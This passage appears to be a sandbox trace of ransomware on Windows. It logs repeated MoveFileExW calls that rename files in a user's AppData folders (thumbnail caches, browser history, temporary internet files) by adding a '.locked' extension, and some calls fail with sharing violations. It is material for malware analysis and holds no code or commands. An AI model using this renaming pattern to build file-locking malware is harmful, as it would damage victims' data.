lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\content14.dat.locked"), dwFlags=0x2) returned 1 [0141.213] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\thumbs.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\thumbs.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\thumbs.dat.locked"), dwFlags=0x2) returned 1 [0141.535] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1033\\StructuredQuerySchema.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\1033\\structuredqueryschema.bin"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1033\\StructuredQuerySchema.bin.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\1033\\structuredqueryschema.bin.locked"), dwFlags=0x2) returned 1 [0141.561] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db.locked"), dwFlags=0x2) returned 1 [0141.660] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000015.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000015.db"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000015.db.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000015.db.locked"), dwFlags=0x2) returned 1 [0141.805] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db.locked"), dwFlags=0x2) returned 1 [0141.808] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db.locked"), dwFlags=0x2) returned 1 [0142.289] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db.locked"), dwFlags=0x2) returned 1 [0142.292] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db.locked"), dwFlags=0x2) returned 1 [0142.799] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db.locked"), dwFlags=0x2) returned 1 [0142.856] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db.locked"), dwFlags=0x2) returned 1 [0142.858] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db.locked"), dwFlags=0x2) returned 1 [0142.931] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat.locked"), dwFlags=0x2) returned 0 [0142.931] GetLastError () returned 0x20 [0142.931] GetLastError () returned 0x20 [0142.998] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019081720190818\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012019081720190818\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019081720190818\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012019081720190818\\index.dat.locked"), dwFlags=0x2) returned 0 [0142.998] GetLastError () returned 0x20 [0142.998] GetLastError () returned 0x20 [0143.037] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\index.dat.locked"), dwFlags=0x2) returned 1 [0143.072] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017071220170713\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017071220170713\\index.dat.locked"), dwFlags=0x2) returned 1 [0143.146] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat.locked"), dwFlags=0x2) returned 0 [0143.146] GetLastError () returned 0x20 [0143.146] GetLastError () returned 0x20 [0143.479] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat.locked"), dwFlags=0x2) returned 1 [0143.501] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\528d82a2[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\528d82a2[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\528d82a2[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\528d82a2[1].js.locked"), dwFlags=0x2) returned 1 [0143.506] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3e3XC[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3e3xc[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3e3XC[2].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3e3xc[2].png.locked"), dwFlags=0x2) returned 1 [0143.509] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3vOVA[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3vova[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3vOVA[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3vova[1].png.locked"), dwFlags=0x2) returned 1 [0143.514] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA42EP9[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa42ep9[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA42EP9[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa42ep9[1].png.locked"), dwFlags=0x2) returned 1 [0143.517] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA54rQj[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa54rqj[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA54rQj[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa54rqj[1].png.locked"), dwFlags=0x2) returned 1 [0143.525] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA61yi9[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa61yi9[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA61yi9[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa61yi9[1].png.locked"), dwFlags=0x2) returned 1 [0143.528] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA8uCo4[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa8uco4[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA8uCo4[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa8uco4[1].png.locked"), dwFlags=0x2) returned 1 [0143.531] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AAdAVrM[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aadavrm[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AAdAVrM[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aadavrm[1].png.locked"), dwFlags=0x2) returned 1 [0143.535] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\advertisement.ad[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\advertisement.ad[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\advertisement.ad[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\advertisement.ad[1].js.locked"), dwFlags=0x2) returned 1 [0143.537] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB1CcOi[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb1ccoi[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB1CcOi[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb1ccoi[1].png.locked"), dwFlags=0x2) returned 1 [0143.541] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB46JmN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb46jmn[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB46JmN[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb46jmn[1].png.locked"), dwFlags=0x2) returned 1 [0143.544] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kJAC[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5kjac[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kJAC[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5kjac[1].png.locked"), dwFlags=0x2) returned 1 [0143.547] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kTiV[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5ktiv[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kTiV[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5ktiv[1].png.locked"), dwFlags=0x2) returned 1 [0143.550] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB6Ma4a[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb6ma4a[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB6Ma4a[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb6ma4a[1].png.locked"), dwFlags=0x2) returned 1 [0143.553] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB74fLs[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb74fls[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB74fLs[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb74fls[1].png.locked"), dwFlags=0x2) returned 1 [0143.569] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBIqq8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbiqq8[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBIqq8[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbiqq8[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.574] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBL0ij[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbl0ij[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBL0ij[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbl0ij[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.582] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBLhZX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbblhzx[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBLhZX[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbblhzx[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.595] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBNiEo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbnieo[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBNiEo[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbnieo[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.605] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO1mQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo1mq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO1mQ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo1mq[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.632] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO3tl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo3tl[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary 